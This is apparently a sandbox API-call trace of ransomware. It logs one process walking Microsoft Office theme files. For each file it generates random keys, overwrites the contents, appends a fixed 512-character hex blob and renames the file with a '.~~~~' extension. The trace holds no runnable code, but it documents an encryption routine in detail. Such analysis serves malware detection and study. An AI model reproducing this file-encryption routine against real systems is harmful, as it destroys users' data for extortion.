	[0121.665] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd748, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xd748, lpOverlapped=0x0) returned 1
	[0121.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.667] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.667] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.667] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.667] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.667] CloseHandle (hObject=0x13c) returned 1
	[0121.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.667] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.~~~~")) returned 1
	[0121.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.668] GetLastError () returned 0x0
	[0121.682] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.683] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.683] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.683] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24167348526) returned 1
	[0121.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1ff6990, dwHighDateTime=0x1d60e1e)) 
	[0121.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2831ed0
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2831ed0 | out: hHeap=0x300000) returned 1
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eadc0
	[0121.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d980
	[0121.684] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eadc0 | out: hHeap=0x300000) returned 1
	[0121.684] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.684] GetLastError () returned 0x0
	[0121.685] GetLastError () returned 0x0
	[0121.685] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.685] GetLastError () returned 0x0
	[0121.685] GetLastError () returned 0x0
	[0121.688] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffeff58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.688] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x100a8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x100a8, lpOverlapped=0x0) returned 1
	[0121.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.689] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.689] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.690] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.690] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.690] CloseHandle (hObject=0x128) returned 1
	[0121.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d980
	[0121.690] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.~~~~")) returned 1
	[0121.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282d980 | out: hHeap=0x300000) returned 1
	[0121.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.691] GetLastError () returned 0x0
	[0121.692] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.693] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.693] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.693] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24168364194) returned 1
	[0121.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb201caf0, dwHighDateTime=0x1d60e1e)) 
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e568
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e568 | out: hHeap=0x300000) returned 1
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eadc0
	[0121.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb370
	[0121.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eadc0 | out: hHeap=0x300000) returned 1
	[0121.694] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.694] GetLastError () returned 0x0
	[0121.695] GetLastError () returned 0x0
	[0121.695] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.695] GetLastError () returned 0x0
	[0121.695] GetLastError () returned 0x0
	[0121.698] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff07ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.698] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xf814, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0xf814, lpOverlapped=0x0) returned 1
	[0121.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.699] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.699] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.699] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.699] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.699] CloseHandle (hObject=0x128) returned 1
	[0121.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.700] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.~~~~")) returned 1
	[0121.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.701] GetLastError () returned 0x0
	[0121.702] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.703] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.703] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.704] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24169384465) returned 1
	[0121.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2042c50, dwHighDateTime=0x1d60e1e)) 
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e5d8
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e5d8 | out: hHeap=0x300000) returned 1
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb700
	[0121.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.705] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.705] GetLastError () returned 0x0
	[0121.705] GetLastError () returned 0x0
	[0121.705] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.705] GetLastError () returned 0x0
	[0121.705] GetLastError () returned 0x0
	[0121.709] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.709] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.712] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.712] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.714] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.714] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.714] CloseHandle (hObject=0x128) returned 1
	[0121.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.~~~~")) returned 1
	[0121.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.716] GetLastError () returned 0x0
	[0121.717] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.718] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.719] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24170876221) returned 1
	[0121.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2042c50, dwHighDateTime=0x1d60e1e)) 
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e610
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e610 | out: hHeap=0x300000) returned 1
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb4a0
	[0121.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.720] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.720] GetLastError () returned 0x0
	[0121.720] GetLastError () returned 0x0
	[0121.720] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.720] GetLastError () returned 0x0
	[0121.720] GetLastError () returned 0x0
	[0121.745] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.745] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.747] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.747] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.747] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.747] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.747] CloseHandle (hObject=0x128) returned 1
	[0121.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.759] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.~~~~")) returned 1
	[0121.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.765] GetLastError () returned 0x0
	[0121.766] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.767] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.768] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24175764177) returned 1
	[0121.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb20db1d0, dwHighDateTime=0x1d60e1e)) 
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e6f0
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e6f0 | out: hHeap=0x300000) returned 1
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb668
	[0121.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.768] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.768] GetLastError () returned 0x0
	[0121.769] GetLastError () returned 0x0
	[0121.769] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.769] GetLastError () returned 0x0
	[0121.769] GetLastError () returned 0x0
	[0121.772] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
